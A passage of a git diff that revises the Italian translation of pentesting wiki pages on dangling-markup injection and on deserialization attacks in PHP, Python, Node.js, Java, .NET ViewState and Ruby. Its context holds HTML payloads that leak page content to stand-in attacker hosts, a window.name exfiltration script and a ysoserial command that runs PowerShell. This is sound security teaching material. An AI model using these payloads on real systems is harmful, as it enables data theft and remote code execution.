+e questo campo di input conterrà tutto il contenuto tra le sue virgolette e la prossima virgoletta nel HTML. Questo attacco mescola "_**Stealing clear text secrets**_" con "_**Stealing forms2**_".
 
 Puoi fare la stessa cosa iniettando un modulo e un `<option>` tag. Tutti i dati fino a quando non viene trovato un `</option>` chiuso verranno inviati:
 ```html
@@ -102,7 +102,7 @@ Da questa [ricerca di portswiggers](https://portswigger.net/research/evading-csp
 <base target='
 ```
 Nota che chiederai alla **vittima** di **cliccare su un link** che lo **reindirizzerà** a un **payload** controllato da te. Nota anche che l'attributo **`target`** all'interno del tag **`base`** conterrà **contenuto HTML** fino al prossimo apostrofo.\
-Questo farà sì che il **valore** di **`window.name`** se il link viene cliccato sarà tutto quel **contenuto HTML**. Pertanto, poiché **controlli la pagina** a cui la vittima accede cliccando il link, puoi accedere a quel **`window.name`** ed **esfiltrare** quei dati:
+Questo farà sì che il **valore** di **`window.name`** se il link viene cliccato sarà tutto quel **contenuto HTML**. Pertanto, poiché **controlli la pagina** a cui la vittima accede cliccando sul link, puoi accedere a quel **`window.name`** ed **esfiltrare** quei dati:
 ```html
 <script>
 if(window.name) {
@@ -180,14 +180,14 @@ Per ulteriori informazioni controlla [https://portswigger.net/research/bypassing
 
 ### \<meta abuso
 
-Puoi utilizzare **`meta http-equiv`** per eseguire **diverse azioni** come impostare un Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` o eseguire un reindirizzamento (in 5s in questo caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
+Puoi usare **`meta http-equiv`** per eseguire **diverse azioni** come impostare un Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` o eseguire un reindirizzamento (in 5s in questo caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
 
 Questo può essere **evitato** con un **CSP** riguardante **http-equiv** ( `Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`)
 
 ### Nuovo \<portal tag HTML
 
 Puoi trovare una **ricerca molto interessante** sulle vulnerabilità sfruttabili del tag \<portal [qui](https://research.securitum.com/security-analysis-of-portal-element/).\
-Al momento della scrittura, è necessario abilitare il tag portal su Chrome in `chrome://flags/#enable-portals` o non funzionerà.
+Al momento della scrittura, devi abilitare il tag portal su Chrome in `chrome://flags/#enable-portals` o non funzionerà.
 ```html
 <portal src='https://attacker-server?
 ```

src/pentesting-web/deserialization/README.md

@@ -4,11 +4,11 @@
 
 ## Informazioni di base
 
-**Serializzazione** è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, mantenendo la sua struttura e stato.
+**La serializzazione** è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, mantenendo la sua struttura e stato.
 
-**Deserializzazione**, al contrario, è il processo che contrasta la serializzazione. Comporta il prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
+**La deserializzazione**, al contrario, è il processo che contrasta la serializzazione. Comporta il prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
 
-La deserializzazione può essere pericolosa perché **consente potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
+La deserializzazione può essere pericolosa perché **permette potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
 
 ## PHP
 
@@ -16,7 +16,7 @@ In PHP, specifici metodi magici sono utilizzati durante i processi di serializza
 
 - `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array dei nomi di tutte le proprietà dell'oggetto che dovrebbero essere serializzate. È comunemente usato per impegnare dati in sospeso o eseguire compiti di pulizia simili.
 - `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
-- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
+- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
 - `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
 - `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
 ```php
@@ -121,7 +121,7 @@ $ser=serialize($o);
 Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice di estensioni PHP esterne.**\
 Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (e anche sui **gadgets** di **PHPGGC**) alcuni possibili gadget che potresti abusare.
 
-### phar:// metadata deserialization
+### deserializzazione dei metadati phar://
 
 Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, ad esempio utilizzando funzioni come _**file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**_**.** Puoi provare ad abusare di una **deserializzazione** che si verifica quando **leggi** un **file** utilizzando il protocollo **phar**.\
 Per ulteriori informazioni leggi il seguente post:
@@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
 ```
 Prima di controllare la tecnica di bypass, prova a usare `print(base64.b64encode(pickle.dumps(P(),2)))` per generare un oggetto compatibile con python2 se stai eseguendo python3.
 
-Per ulteriori informazioni su come evadere dalle **pickle jails** controlla:
+Per ulteriori informazioni su come sfuggire a **pickle jails** controlla:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@@ -153,7 +153,7 @@ Per ulteriori informazioni su come evadere dalle **pickle jails** controlla:
 
 ### Yaml **&** jsonpickle
 
-La pagina seguente presenta la tecnica per **abuse un'unsafe deserialization nelle librerie python yamls** e termina con uno strumento che può essere utilizzato per generare payload di deserialization RCE per **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
+La pagina seguente presenta la tecnica per **abuse an unsafe deserialization in yamls** delle librerie python e termina con uno strumento che può essere utilizzato per generare payload di deserializzazione RCE per **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
 
 {{#ref}}
 python-yaml-deserialization.md
@@ -170,7 +170,7 @@ python-yaml-deserialization.md
 ### JS Magic Functions
 
 JS **non ha funzioni "magiche"** come PHP o Python che vengono eseguite solo per creare un oggetto. Ma ha alcune **funzioni** che sono **frequentemente usate anche senza chiamarle direttamente** come **`toString`**, **`valueOf`**, **`toJSON`**.\
-Se abusando di una deserialization puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle pollution di prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
+Se abusando di una deserializzazione puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle inquinamenti del prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
 
 Un altro **modo "magico" per chiamare una funzione** senza chiamarla direttamente è **compromettendo un oggetto restituito da una funzione async** (promise). Perché, se **trasformi** quell'**oggetto di ritorno** in un'altra **promise** con una **proprietà** chiamata **"then" di tipo funzione**, verrà **eseguito** solo perché è restituito da un'altra promise. _Segui_ [_**questo link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _per ulteriori informazioni._
 ```javascript
@@ -231,10 +231,10 @@ All'interno del file `node-serialize/lib/serialize.js` puoi trovare lo stesso fl
 
 ![](<../../images/image (446).png>)
 
-Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato**, `eval` viene utilizzato per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
+Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** viene utilizzato `eval` per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
 
-Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà**, poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
+Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà** poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
-Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** in modo da eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
+Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
 Nel prossimo blocco di codice **nota l'ultima parentesi** e come la funzione `unserialize` eseguirà automaticamente il codice:
 ```javascript
 var serialize = require("node-serialize")
@@ -256,7 +256,7 @@ Puoi [**trovare qui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-j
 
 Un aspetto notevole di **funcster** è l'inaccessibilità degli **oggetti standard incorporati**; essi rientrano al di fuori dell'ambito accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi su oggetti incorporati, portando a eccezioni come `"ReferenceError: console is not defined"` quando vengono utilizzati comandi come `console.log()` o `require(something)`.
 
-Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può eludere questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento:
+Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può aggirare questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento:
 ```javascript
 funcster = require("funcster")
 //Serialization
@@ -495,7 +495,7 @@ Java utilizza molto la serializzazione per vari scopi come:
 
 - **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
 - **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
-- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
+- **RMI over HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
 - **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
 - **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri.
 
@@ -546,7 +546,7 @@ return super.resolveClass(desc);
 }
 }
 ```
-**Utilizzare un Java Agent per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting di classi dannose**, utilizzando un parametro JVM:
+**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklistaggio di classi dannose**, utilizzando un parametro JVM:
 ```
 -javaagent:name-of-agent.jar
 ```
@@ -585,7 +585,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- Documento sulla deserializzazione di Java e .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Documento sulla deserializzazione di Java e .Net JSON **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - CVE di deserializzazione: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
 
 ## Iniezione JNDI & log4Shell
@@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 
 ## JMS - Java Message Service
 
-> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
+> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata presso Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 
 ### Prodotti
 
@@ -651,7 +651,7 @@ Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`
 
 - **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che sarà abusata durante la deserializzazione per eseguire comandi).
 - **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo)
-- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._
+- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._
 - **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState
 
 #### Altri parametri di ysoserial.net
@@ -728,7 +728,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net:
 
 ### **Riferimenti**
 
-- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Documento sulla deserializzazione JSON in Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
@@ -819,7 +819,7 @@ Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rail
 
 ### Metodo Ruby .send()
 
-Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di qualche utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
+Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
 
 Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario:
 ```ruby
@@ -864,7 +864,7 @@ Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/
 
 Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):
 
-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
 
 Esempio base:
 ```ruby
@@ -900,7 +900,7 @@ Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadg
 "password": "anypw"
 }
 ```
-Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come:
+Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un completo RCE con qualcosa come:
 ```json
 {
 "^o": "Gem::Resolver::SpecSpecification",

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -87,7 +87,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 
 Nella [pagina web ufficiale](https://www.newtonsoft.com/json) è indicato che questa libreria consente di **Serializzare e deserializzare qualsiasi oggetto .NET con il potente serializzatore JSON di Json.NET**. Quindi, se potessimo **deserializzare il gadget ObjectDataProvider**, potremmo causare un **RCE** semplicemente deserializzando un oggetto.
 
-### Esempio Json.Net
+### Esempio di Json.Net
 
 Prima di tutto vediamo un esempio su come **serializzare/deserializzare** un oggetto utilizzando questa libreria:
 ```java

src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md

@@ -4,7 +4,7 @@ In questo POST verrà spiegato un esempio utilizzando `java.io.Serializable`.
 
 # Serializable
 
-L'interfaccia Java `Serializable` (`java.io.Serializable` è un'interfaccia marker che le tue classi devono implementare se devono essere **serializzate** e **deserializzate**. La serializzazione degli oggetti Java (scrittura) avviene con l'[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e la deserializzazione (lettura) avviene con l'[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
+L'interfaccia Java `Serializable` (`java.io.Serializable` è un'interfaccia marker che le tue classi devono implementare se devono essere **serializzate** e **deserializzate**. La serializzazione degli oggetti Java (scrittura) viene eseguita con l'[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e la deserializzazione (lettura) viene eseguita con l'[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
 
 Vediamo un esempio con una **classe Person** che è **serializzabile**. Questa classe **sovrascrive la funzione readObject**, quindi quando **qualunque oggetto** di questa **classe** viene **deserializzato**, questa **funzione** verrà **eseguita**.\
 Nell'esempio, la **funzione readObject** della classe Person chiama la funzione `eat()` del suo animale domestico e la funzione `eat()` di un Cane (per qualche motivo) chiama un **calc.exe**. **Vedremo come serializzare e deserializzare un oggetto Person per eseguire questa calcolatrice:**
@@ -82,6 +82,6 @@ payloadTest("test.ser");
 ```
 ## Conclusione
 
-Come puoi vedere in questo esempio molto semplice, la "vulnerabilità" qui appare perché la funzione **readObject** sta **chiamando altre funzioni vulnerabili**.
+Come puoi vedere in questo esempio molto basilare, la "vulnerabilità" qui appare perché la funzione **readObject** sta **chiamando altre funzioni vulnerabili**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

@@ -12,7 +12,7 @@ Le informazioni di ViewState possono essere caratterizzate dalle seguenti propri
 
 - **Base64**:
 - Questo formato è utilizzato quando sia l'attributo `EnableViewStateMac` che l'attributo `ViewStateEncryptionMode` sono impostati su false.
-- **Base64 + MAC (Message Authentication Code) Abilitato**:
+- **Base64 + MAC (Codice di Autenticazione del Messaggio) Abilitato**:
 - L'attivazione del MAC si ottiene impostando l'attributo `EnableViewStateMac` su true. Questo fornisce una verifica di integrità per i dati di ViewState.
 - **Base64 + Crittografato**:
 - La crittografia viene applicata quando l'attributo `ViewStateEncryptionMode` è impostato su true, garantendo la riservatezza dei dati di ViewState.
@@ -28,7 +28,7 @@ L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in
 
 ### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
 
-È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` a zero in:
+È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` su zero in:
 ```
 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
 ```
@@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
 ### Test case 1.5 – Come nel Test case 1 ma il cookie ViewState non viene inviato dal server
 
 Gli sviluppatori possono **rimuovere ViewState** affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie).\
-Si potrebbe presumere che se **ViewState** non è **presente**, la loro implementazione sia **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\
+Si potrebbe assumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\
-Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo ancora in grado di ottenere **l'esecuzione del codice** come mostrato nel **Caso 1**.
+Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo ancora in grado di ottenere **l'esecuzione di codice** come mostrato nel **Caso 1**.
 
 ### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
 
@@ -166,7 +166,7 @@ Devi usare un parametro in più per creare correttamente il payload:
 ```
 ### Risultato di un'Esplorazione Riuscita <a href="#poc" id="poc"></a>
 
-Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto di risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB.
+Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto della risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB.
 
 Controlla per [ulteriori informazioni qui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
 

src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

@@ -125,7 +125,7 @@ return null;
 ### Maggiori informazioni
 
 - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
-- Nell'idea originale il payload delle commons collections è stato modificato per eseguire una query DNS, questo era meno affidabile del metodo proposto, ma questo è il post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
+- Nell'idea originale il payload delle commons collections è stato modificato per eseguire una query DNS, questo era meno affidabile rispetto al metodo proposto, ma questo è il post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
 
 ## GadgetProbe
 
@@ -135,7 +135,7 @@ Puoi scaricare [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) dal B
 
 ### Come funziona
 
-**GadgetProbe** utilizzerà lo stesso **payload DNS della sezione precedente** ma **prima** di eseguire la query DNS cercherà di **deserializzare una classe arbitraria**. Se la **classe arbitraria esiste**, la **query DNS** sarà **inviata** e GadgetProbe annoterà che questa classe esiste. Se la **richiesta DNS** non viene **mai inviata**, ciò significa che la **classe arbitraria non è stata deserializzata** con successo, quindi o non è presente o non è **serializzabile/sfruttabile**.
+**GadgetProbe** utilizzerà lo stesso **payload DNS della sezione precedente** ma **prima** di eseguire la query DNS cercherà di **deserializzare una classe arbitraria**. Se la **classe arbitraria esiste**, la **query DNS** sarà **inviata** e GadgetProbe annoterà che questa classe esiste. Se la **richiesta DNS** non viene **mai inviata**, questo significa che la **classe arbitraria non è stata deserializzata** con successo, quindi o non è presente o non è **serializzabile/sfruttabile**.
 
 All'interno di github, [**GadgetProbe ha alcune wordlist**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con classi Java da testare.
 
@@ -152,7 +152,7 @@ L'**estensione** ha capacità **passive** e attive.
 
 ### Passivo
 
